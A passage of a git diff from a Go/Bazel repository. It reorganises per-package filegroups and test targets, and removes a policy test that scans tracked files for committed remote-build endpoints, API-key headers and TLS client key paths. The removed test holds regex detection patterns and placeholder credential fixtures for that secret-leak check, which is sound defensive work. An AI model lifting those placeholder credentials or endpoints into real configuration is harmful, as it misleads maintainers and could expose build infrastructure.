+filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 1878a4e17..dc28cd166 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -72,12 +72,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -86,7 +125,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/journalops/BUILD.bazel b/journalops/BUILD.bazel index e42f82468..5449e5601 100644 --- a/journalops/BUILD.bazel +++ b/journalops/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/memoryops/BUILD.bazel b/memoryops/BUILD.bazel index be45b9fa1..fb622d6a2 100644 --- a/memoryops/BUILD.bazel +++ b/memoryops/BUILD.bazel @@ -28,12 +28,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -42,7 +81,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index 35cd55d7e..2707bcd42 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -32,12 +32,51 @@ platform( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel index 618b55c28..feed1f222 100644 --- a/plugins/beads/BUILD.bazel +++ b/plugins/beads/BUILD.bazel @@ -35,12 +35,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -49,7 +88,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/schema/BUILD.bazel b/schema/BUILD.bazel index 08eae5b47..ccf861bdb 100644 --- a/schema/BUILD.bazel +++ b/schema/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index c7ba45203..92a065548 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -2,8 +2,22 @@ load("@rules_go//go:def.bzl", "go_test") # CI and repo-policy tests: they parse the workflows, run the CI shell scripts # against fixtures, and check repository-wide rules (BUILD tag taxonomy, skip -# allowlist, managed BUILD blocks, shard manifests, tracked-file scans) over -# //:repo_files, the checkout as Bazel sees it. +# allowlist, managed BUILD blocks, shard manifests, tracked-file scans). +# +# They are one Go package but several go_test targets, each compiling only +# the files whose tests it runs and declaring only what those tests read, so +# that a change re-runs only the targets that read it: a Go-only change runs +# no workflow policy test, a docs-only or workflow-only change no Go-source +# scan. The data are the partitions of the checkout that tools/bazel/go_srcs.py +# generates (//:repo_go_srcs, //:repo_go_test_srcs, //:repo_doc_files, +# //:repo_other_files, and per package) or single files; only +# :tracked_files_test declares //:repo_files, every tracked file. +# +# Every *_test.go here is in exactly one of these targets, except the +# helpers-only files (no Test functions) that several compile; srcs are kept +# by hand (`# keep` stops gazelle from putting every file back into +# scripts_test), and TestScriptsTestTargetsPartitionTheTests +# (scripts_targets_test.go) fails on a file in no target or a test in two. # # No tags: they run remotely like any other target. The scripts and fixtures # run bash, git, python3, jq, yq, curl, openssl, unzip and coreutils from the @@ -11,6 +25,11 @@ load("@rules_go//go:def.bzl", "go_test") # missing tool fails the test under Bazel instead of skipping it # (host_tools_test.go), so a cached pass never stands for an executor that # could not run it. Go and the release formula come in hermetically. + +# The CI and Bazel policy tests: workflows, the setup-bazel action, .bazelrc, +# MODULE.bazel, every BUILD and .bzl file, tools/bazel and the CI scripts, +# all in //:repo_other_files (every tracked file but Go and Markdown source), +# plus the one Go file whose dolt image pin they compare. go_test( name = "scripts_test", srcs = [ @@ -21,14 +40,7 @@ go_test( "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", - "bazel_skip_allowlist_test.go", - "check_build_tags_test.go", - "check_doc_freshness_test.go", - "check_release_cross_compile_test.go", - "check_testing_short_test.go", - "check_winget_portable_alias_test.go", "ci_actions_policy_test.go", - "ci_analytics_extract_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", "ci_f7b_review_test.go", @@ -36,40 +48,24 @@ go_test( "ci_merge_queue_test.go", "ci_workflow_apt_get_timeout_test.go", "ci_workflow_test.go", - "complexity_script_test.go", - "conformance_script_test.go", "embedded_shard_count_test.go", "host_tools_test.go", - "install_dolt_test.go", "makefile_bazel_primary_test.go", - "managed_local_lane_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", - "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", - "pre_push_suite_test.go", - "pull_dolt_image_test.go", "rbe_worker_env_test.go", - "release_script_test.go", "repo_helpers_test.go", - "required_suite_test.go", - "test_script_test.go", - "upgrade_smoke_loop_test.go", - ], + ], # keep data = [ - "//:repo_files", - "@beads_formulas//:beads-release.formula.toml", + "//:repo_other_files", + "//internal/testutil:testdoltcommon.go", "@go_sdk//:bin/go", "@go_sdk//:files", ], - # The release formula lives in .beads/ (in .bazelignore: it also holds - # live bd data), so it comes in through its own local repository. The Go - # SDK is go.mod's toolchain, whatever go the executor has on PATH. - env = { - "BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)", - "BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)", - }, + # The Go SDK is go.mod's toolchain, whatever go the executor has on PATH. + env = {"BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)"}, deps = [ "//internal/formula", "//internal/testutil/bazeltest", @@ -78,13 +74,129 @@ go_test( ], ) +# The shell scripts' own behavior, run against fixtures: this package's +# scripts and their testdata, the few root files they read, and the release +# formula. +go_test( + name = "shell_scripts_test", + srcs = [ + "check_build_tags_test.go", + "check_doc_freshness_test.go", + "check_release_cross_compile_test.go", + "check_testing_short_test.go", + "check_winget_portable_alias_test.go", + "ci_analytics_extract_test.go", + "complexity_script_test.go", + "conformance_script_test.go", + "host_tools_test.go", + "install_dolt_test.go", + "pr_preflight_test.go", + "pre_push_suite_test.go", + "pull_dolt_image_test.go", + "release_script_test.go", + "repo_helpers_test.go", + "required_suite_test.go", + "test_script_test.go", + "upgrade_smoke_loop_test.go", + ], + data = [ + ":repo_other_files", + "//:.buildflags", + "//:.githooks/pre-push", + "//:.test-skip", + "//internal/httpclient:repo_other_files", + "//test/conformance:repo_go_test_srcs", + "//test/conformance:repo_other_files", + "//tools/bazel:repo_other_files", + "@beads_formulas//:beads-release.formula.toml", + ], + # The release formula lives in .beads/ (in .bazelignore: it also holds + # live bd data), so it comes in through its own local repository. + env = {"BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)"}, + deps = [ + "//internal/formula", + "//internal/testutil/bazeltest", + "//scripts/internal/testbash", + ], +) + +# Scans of the Go test files: the Bazel-skip allowlist, the managed local +# lane, and the shard manifests and scripts against the tests they shard. +# Every _test.go file (//:repo_go_test_srcs) but no non-test Go source, so a +# non-test Go change leaves it cached. +go_test( + name = "go_test_sources_test", + srcs = [ + "bazel_skip_allowlist_test.go", + "embedded_shard_count_test.go", + "host_tools_test.go", + "managed_local_lane_test.go", + "repo_helpers_test.go", + "scripts_targets_test.go", + "shard_manifest_test.go", + ], + data = [ + "BUILD.bazel", + "ci/_embedded_shard_manifest_lib.py", + "ci/embedded_cmd_test_durations.json", + "ci/embedded_storage_test_durations.json", + "ci/gen_embedded_cmd_shard_manifest.py", + "ci/gen_embedded_storage_shard_manifest.py", + "ci/gen_proxied_shard_manifest.py", + "ci/proxied_test_durations.json", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-storage-test-shard.sh", + "//:.github/scripts/embedded-storage-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "//:.github/scripts/proxied-cmd-test-shards.txt", + "//:.github/scripts/proxied-test-shard.sh", + "//:.github/scripts/server-storage-test-shard.sh", + "//:.github/scripts/server-storage-test-shards.txt", + "//:nested_go_modules", + "//:repo_go_test_srcs", + "//cmd/bd:repo_other_files", + "//internal/storage/dolt:repo_other_files", + "//internal/storage/embeddeddolt:repo_other_files", + "//tools/bazel:check_shard_coverage.py", + "//tools/bazel:equivalence_allowlist.txt", + ], + deps = ["//internal/testutil/bazeltest"], +) + +# check-testing-short.sh over every Go file, test and non-test. +go_test( + name = "go_sources_test", + srcs = [ + "repo_helpers_test.go", + "testing_short_tree_test.go", + ], + data = [ + "check-testing-short.sh", + "//:repo_go_srcs", + "//:repo_go_test_srcs", + ], + deps = ["//internal/testutil/bazeltest"], +) + +# Scans of every tracked file (//:repo_files): any change re-runs them, so +# keep them few and fast. +go_test( + name = "tracked_files_test", + srcs = [ + "repo_helpers_test.go", + "tracked_files_test.go", + ], + data = ["//:repo_files"], + deps = ["//internal/testutil/bazeltest"], +) + # pr.yml's check-doc-freshness-platforms Linux leg: `go test # -tags integration ./scripts -count=1 -run '^(TestDocFreshness.*| # TestRequiredSuiteContract)$' -args -required-suite=doc-freshness`, whose # TestMain fails unless exactly the doc-freshness inventory is compiled and -# selected. scripts_test runs those tests too (in the integration lane); this -# target adds the inventory and selection contract, over only the files the -# suite reads (its fixtures copy check-doc-freshness.sh). The macOS and +# selected. shell_scripts_test runs those tests too (in the integration lane); +# this target adds the inventory and selection contract, over only the files +# the suite reads (its fixtures copy check-doc-freshness.sh). The macOS and # Windows legs stay in pr.yml. # Tags: # integration-only: every TestDocFreshness test is //go:build integration, @@ -154,15 +266,66 @@ exports_files( visibility = ["//scripts/check-versions:__pkg__"], ) +# Scripts the docs and agent instructions link to by path, which +# //test/docsync checks resolve. +exports_files( + [ + "bump-version.sh", + "check-cli-docs-drift.sh", + "generate-cli-docs.sh", + "test.sh", + ], + visibility = ["//test/docsync:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -171,7 +334,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/README.md b/scripts/README.md index b74ed4a2e..d6c073ba6 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -38,7 +38,7 @@ The broad Go wrappers also cap package and test parallelism to `4` by default shared hosts into a different test topology than GitHub Actions. `scripts/check-testing-short.sh` (`make check-testing-short`; CI runs it in -`//scripts:scripts_test`) enforces +`//scripts:go_sources_test`) enforces that `testing.Short()` is only used for runtime, stress, or large-fixture skips. Use build tags, environment checks, or named wrappers for integration/e2e/API boundaries. diff --git a/scripts/bazel_autofix_push_test.go b/scripts/bazel_autofix_push_test.go index ced5b04b9..9ced90c7d 100644 --- a/scripts/bazel_autofix_push_test.go +++ b/scripts/bazel_autofix_push_test.go @@ -161,17 +161,6 @@ func writeRawPatch(t *testing.T, body string) string { return file } -// requireAutofixBash skips when bash cannot run the autofix scripts: they run -// on Linux runners and use bash 4 associative arrays, and macOS runners ship -// /bin/bash 3.2. -func requireAutofixBash(t *testing.T) { - t.Helper() - requireHostTool(t, "bash") - if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { - t.Skip("bash lacks associative arrays (bash >= 4 required)") - } -} - func runAutofixCheck(t *testing.T, script, dir, patch string) (string, error) { t.Helper() requireAutofixBash(t) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 2ea1441cc..cf5f1e31f 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1,8 +1,6 @@ package scripts_test import ( - "bufio" - "bytes" "errors" "os" "os/exec" @@ -11,8 +9,6 @@ import ( "strconv" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // Policy tests for the side-by-side Bazel configuration. They are plain Go @@ -20,31 +16,6 @@ import ( // alike. Each invariant is a pure check function exercised against the real // repository files and against synthetic fixtures that break it. -// bazelPolicyRoot returns the repository root holding the Bazel policy files. -// Under `bazel test` those files are declared as data (//:bazel_policy_files) -// and resolved from the runfiles tree; under `go test` the source checkout is -// used directly. -func bazelPolicyRoot(t *testing.T) string { - t.Helper() - if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { - workspace := os.Getenv("TEST_WORKSPACE") - if workspace == "" { - workspace = "_main" - } - return filepath.Join(srcdir, workspace) - } - return sourceRepoRoot(t) -} - -func readPolicyFile(t *testing.T, root, name string) string { - t.Helper() - data, err := os.ReadFile(filepath.Join(root, name)) - if err != nil { - t.Fatalf("read %s: %v", name, err) - } - return string(data) -} - // --- go_sdk version == go.mod toolchain ------------------------------------- var ( @@ -304,366 +275,11 @@ func TestBazelLocalRCFilesGitignored(t *testing.T) { } } -// --- no remote-execution endpoints in tracked files ------------------------- - -// Remote-execution endpoints, credentials and TLS material belong in a -// gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the -// workspace, never in the repository. The scan covers committed bazelrc-like -// files, Markdown docs and .github/** (plan §3.8) and flags: -// - any remote/BES/TLS flag below whose value is a literal (not a -// , a $VARIABLE/${{ expression }}, empty, or loopback); -// - in rc and .github files, any gRPC URL that is not loopback. Markdown is -// exempt from this rule because beads documents OTel gRPC exporters. -// -// The one exception is publicForkCacheLines. - -var ( - remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + - `bes_backend|bes_results_url|bes_header|tls_client_certificate|tls_client_key|tls_certificate` - // `--flag=value` is recognized everywhere; `--flag value` only in rc and - // workflow files, where prose ("--remote_executor and ...") does not occur. - remoteFlagEqRe = regexp.MustCompile(`--(` + remoteFlagNames + `)=("[^"]*"|'[^']*'|[^\s"'` + "`" + `]*)`) - remoteFlagSpaceRe = regexp.MustCompile(`--(` + remoteFlagNames + `)\s+("[^"]*"|'[^']*'|[^\s"'` + "`" + `]+)`) - remoteEndpointRe = regexp.MustCompile(`\bgrpcs?://[^\s"'<>)\]]+`) - loopbackValueRe = regexp.MustCompile(`^(?:[a-z][a-z0-9+.-]*://)?(?:127\.0\.0\.1|localhost|\[::1\])(?:[:/]|$)`) - // remoteScanPrefilter: a file lacking all of these cannot produce a hit. - remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} -) - -// publicForkCacheLines: the endpoint lines of .bazelrc's fork-cache config, -// public by design. rbe-west's rbe-cache endpoint is anonymous and read-only -// (action-cache and CAS reads; writes and Execute are refused by the farm), -// so there is no credential to leak. Exactly these lines, trimmed, and only -// in .bazelrc; the same line anywhere else, or any other endpoint, is still a -// hit. Assembled so this file never contains a literal endpoint. -var publicForkCacheLines = map[string]bool{ - "build:fork-cache --remote_cache=" + forkCacheEndpoint: true, - "build:fork-cache --remote_instance_name=" + forkCacheInstance: true, -} - -const ( - forkCacheEndpoint = "grpc" + "s://rbe-cache.ops.gascity.com:8443" - forkCacheInstance = "oss" - // zstd cache transfers: only the anonymous fork cache can advertise a - // compressor, so only fork-cache may ask for one, and only while - // write-bazelrc.sh's cache-zstd-probe.sh finds it advertised (a probe, - // not a repository variable: fork pull_request runs see no vars). - // Trusted remote-exec and rbe-fork never: their schedulers advertise - // none, and Bazel then refuses the remote. - forkCacheZstdLine = "build:fork-cache --remote_cache_compression" -) - -// publicRBEForkPin: setup-bazel's fork-credential.sh pins the one endpoint -// rbe-fork-mint may hand a fork run (rbe-fork, :8444), so a compromised -// mint cannot point fork builds elsewhere. It is public and carries no -// credential: allowed as exactly this line, in exactly that file (a byte -// copy of gascity's tools/rbe/fork-credential.sh). -const ( - publicRBEForkPinFile = ".github/actions/setup-bazel/fork-credential.sh" - publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` -) - -type endpointHit struct { - path string - line int - what string -} - -// remoteScanKind classifies a tracked path for the endpoint scan. -func remoteScanKind(rel string) (scan, strict bool) { - base := filepath.Base(rel) - switch { - case strings.Contains(base, "bazelrc"), strings.HasPrefix(rel, ".github/"): - return true, true - case strings.HasSuffix(base, ".md"): - return true, false - } - return false, false -} - -func allowedRemoteValue(v string) bool { - v = strings.Trim(v, `"'`) - if i := strings.Index(v, "://"); i >= 0 { - v = v[i+len("://"):] - } - return v == "" || strings.HasPrefix(v, "<") || strings.HasPrefix(v, "$") || loopbackValueRe.MatchString(v) -} - -// findRemoteEndpoints reports literal remote endpoints/credentials in content. -// strict enables the whitespace-separated flag form and the gRPC URL rule. -func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit { - if bytes.IndexByte(content, 0) >= 0 { // binary - return nil - } - relevant := false - for _, needle := range remoteScanPrefilter { - if bytes.Contains(content, needle) { - relevant = true - break - } - } - if !relevant { - return nil - } - flagRes := []*regexp.Regexp{remoteFlagEqRe} - if strict { - flagRes = append(flagRes, remoteFlagSpaceRe) - } - var hits []endpointHit - scanner := bufio.NewScanner(bytes.NewReader(content)) - scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) - for n := 1; scanner.Scan(); n++ { - line := scanner.Text() - if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { - continue - } - if path == publicRBEForkPinFile && line == publicRBEForkPinLine { - continue - } - for _, re := range flagRes { - for _, m := range re.FindAllStringSubmatch(line, -1) { - if !allowedRemoteValue(m[2]) { - hits = append(hits, endpointHit{path: path, line: n, what: m[0]}) - } - } - } - if strict { - for _, url := range remoteEndpointRe.FindAllString(line, -1) { - if !allowedRemoteValue(url) { - hits = append(hits, endpointHit{path: path, line: n, what: url}) - } - } - } - } - return hits -} - -func gitRepoAvailable(root string) bool { - if _, err := exec.LookPath("git"); err != nil { - return false - } - return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil -} - -// repoFiles lists the repository's tracked files under root, repo-relative and -// slash-separated, each a regular file (or, in a local runfiles tree, a -// symlink to one). Under `go test` in a git checkout that is `git ls-files` -// less what the working tree no longer holds; under Bazel it is the runfiles -// tree, whose repository part is //:repo_files (every tracked file outside -// .bazelignore, tools/bazel/go_srcs.py); elsewhere every file under root. -func repoFiles(t *testing.T, root string) []string { - t.Helper() - var files []string - if bazeltest.IsBazel() || !gitRepoAvailable(root) { - err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() || !isFileOrFileLink(path, d) { - return nil - } - rel, err := filepath.Rel(root, path) - if err != nil { - return err - } - files = append(files, filepath.ToSlash(rel)) - return nil - }) - if err != nil { - t.Fatalf("walk %s: %v", root, err) - } - } else { - out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() - if err != nil { - t.Fatalf("git ls-files: %v", err) - } - for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { - info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) - if err != nil || !info.Mode().IsRegular() { - continue // deleted in the worktree, submodule, or symlink - } - files = append(files, rel) - } - } - // Sanity: an empty or partial runfiles tree would pass every scan. - if len(files) < 1000 { - t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) - } - return files -} - -// isFileOrFileLink reports whether a WalkDir entry is a regular file or a -// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk -// that skipped symlinks would see no file there; a symlink to a directory -// (Bazel's bazel-* convenience links in a checkout) is never followed. -func isFileOrFileLink(path string, d os.DirEntry) bool { - if d.Type().IsRegular() { - return true - } - if d.Type()&os.ModeSymlink == 0 { - return false - } - info, err := os.Stat(path) - return err == nil && info.Mode().IsRegular() -} - -func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { - // Fixtures are assembled at runtime so this file never contains a literal - // endpoint itself. - scheme := "grpc" + "s://" - flag := func(name string) string { return "--" + name } - for _, bad := range []string{ - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe.example.com:443\n", - "build:remote-exec " + flag("remote_executor") + "=rbe.example.com:443\n", - "build:remote-exec " + flag("remote_executor") + " rbe.example.com:443\n", - "build " + flag("remote_cache") + "=https://cache.example.com\n", - "build " + flag("bes_backend") + "=bes.example.com\n", - "build " + flag("bes_results_url") + "=https://results.example.com/inv/\n", - "build " + flag("remote_header") + "=x-api-key=abc123\n", - "build " + flag("tls_client_certificate") + "=/etc/rbe/client.crt\n", - "build " + flag("tls_client_key") + "=\"/etc/rbe/client.key\"\n", - "# farm: " + scheme + "10.0.0.5:8980\n", - "REMOTE=" + "grpc" + "://cache.internal:9092\n", - } { - if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { - t.Errorf("endpoint fixture not detected: %q", bad) - } - } - for _, ok := range []string{ - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "\n", - "build:remote-exec " + flag("remote_executor") + "=\n", - "build:remote-exec " + flag("tls_client_certificate") + "=\n", - " run: echo \"build " + flag("remote_executor") + "=${{ secrets.BAZEL_REMOTE_EXECUTOR }}\" >> \"$RUNNER_TEMP/ci.bazelrc\"\n", - " " + flag("tls_client_key") + " \"$RUNNER_TEMP/rbe.key\"\n", - " " + flag("remote_executor") + "=" + scheme + "${{ secrets.RBE_HOST }}\n", - flag("remote_cache") + "=" + "grpc" + "://127.0.0.1:50052\n", - flag("remote_cache") + "=localhost:9092\n", - flag("remote_cache") + "=\n", - "build " + flag("remote_timeout") + "=600\n", - "use grpc for transport\n", - } { - if hits := findRemoteEndpoints(".bazelrc", []byte(ok), true); len(hits) != 0 { - t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) - } - } - // The fork cache's public endpoint: exactly its two .bazelrc lines. - forkCache := "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n" + - " build:fork-cache " + flag("remote_instance_name") + "=oss \n" - if hits := findRemoteEndpoints(".bazelrc", []byte(forkCache), true); len(hits) != 0 { - t.Errorf("fork-cache endpoint lines flagged in .bazelrc: %v", hits) - } - for _, path := range []string{"tools/ci.bazelrc", ".bazelrc.local", "user.bazelrc", ".github/workflows/x.yml", ".github/actions/setup-bazel/x.sh"} { - if hits := findRemoteEndpoints(path, []byte(forkCache), true); len(hits) < 2 { - t.Errorf("fork-cache endpoint lines in %s: hits %v, want both lines flagged (allowlisted in .bazelrc only)", path, hits) - } - } - for _, bad := range []string{ - "build:fork-cache " + flag("remote_cache") + "=" + scheme + "other.example:8443\n", - "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "/x\n", - "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + " " + flag("remote_header") + "=x-api-key=abc\n", - "build " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n", - "build:remote-exec " + flag("remote_executor") + "=" + forkCacheEndpoint + "\n", - "build:fork-cache " + flag("remote_instance_name") + "=beads\n", - "# see " + forkCacheEndpoint + "\n", - } { - if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { - 